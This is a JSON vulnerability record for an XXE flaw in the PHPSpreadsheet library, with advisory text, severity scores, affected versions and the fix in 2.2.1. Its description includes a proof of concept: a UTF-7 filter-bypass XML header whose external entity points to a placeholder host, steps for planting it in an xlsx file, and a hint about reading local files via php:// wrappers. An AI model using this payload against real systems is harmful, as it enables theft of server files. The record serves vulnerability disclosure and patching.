{"id":"CVE-2024-45048","aliases":["CVE-2024-45048","GHSA-ghg6-32f9-2jp7"],"related":[],"kind":"vulnerability","state":"published","title":"XML External Entity Reference (XXE) in PHPSpreadsheet","summary":"PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.","source":"cvelist"},{"lang":"en","text":"### Summary\nBypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) \n\n### Details\nCheck ` $pattern = '/encoding=\"(.*?)\"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this:\n```\n<?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?>\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://example.com/file.dtd\"> %xxe;]>\n```\nIf you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. \n\n### PoC\n1) Create simple xlsx file\n2) Rename xlsx to zip\n3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.\n4) Replace `<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>` to \n```\n<?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?>\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://%webhook%/file.dtd\"> %xxe;]>\n```\n5) Save `sharedStrings.xml` file and rename zip back to xlsx.\n6) Use minimal php code that simply opens this xlsx file:\n```\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\nrequire __DIR__ . '/vendor/autoload.php';\n$spreadsheet = IOFactory::load(\"file.xlsx\");\n```\n7) You will receive the request to your `http://%webhook%/file.dtd`\n8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.\n\n### Impact\nRead local files\n![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)","format":"markdown","source":"ghsa"},{"lang":"es","text":"PHPSpreadsheet es una librería PHP pura para leer y escribir archivos de hojas de cálculo. Las versiones afectadas están sujetas a la omisión de un filtro que permite un ataque XXE. Esto, a su vez, permite al atacante obtener el contenido de los archivos locales, incluso si el informe de errores está silenciado. Esta vulnerabilidad se ha solucionado en la versión 2.2.1. Se recomienda a todos los usuarios que actualicen. No se conocen workarounds para esta vulnerabilidad.","source":"nvd"}],"published":"2024-08-28T20:38:29.486Z","modified":"2026-06-17T07:53:29.540Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-611"],"affected":[{"ranges":[{"version":"< 2.2.1","status":"affected"}],"vendor":"PHPOffice","product":"PhpSpreadsheet","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"2.2.1","status":"affected"}],"vendor":"phpspreadsheet_project","product":"phpspreadsheet","cpe":"cpe:2.3:a:phpspreadsheet_project:phpspreadsheet:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.29.1"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.2.1"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.0.0","status":"affected","fixed":"2.1.1"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"1.8.2"}],"ecosystem":"Packagist","package":"phpoffice/phpexcel","purl":"pkg:composer/phpoffice/phpexcel","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.29.1"},{"status":"affected","introduced":"2.0.0","fixed":"2.2.1"}],"vendor":"phpoffice","product":"phpspreadsheet","cpe":"cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7","tags":["exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45048","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-08-29T13:08:33.737Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-45048","url":"https://www.cve.org/CVERecord?id=CVE-2024-45048","licence":"CVE Terms of Use","modified":"2024-08-29T13:10:20.156Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-ghg6-32f9-2jp7","url":"https://github.com/advisories/GHSA-ghg6-32f9-2jp7","licence":"CC-BY-4.0","modified":"2025-03-06T18:36:49.588Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-45048","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45048","licence":"Public domain","modified":"2026-06-17T07:53:29.540Z"}],"updatedAt":"2026-11-25T22:58:44.841Z","epss":{"score":0.00605,"percentile":0.50301,"date":"2026-12-01T12:00:22.000Z"}}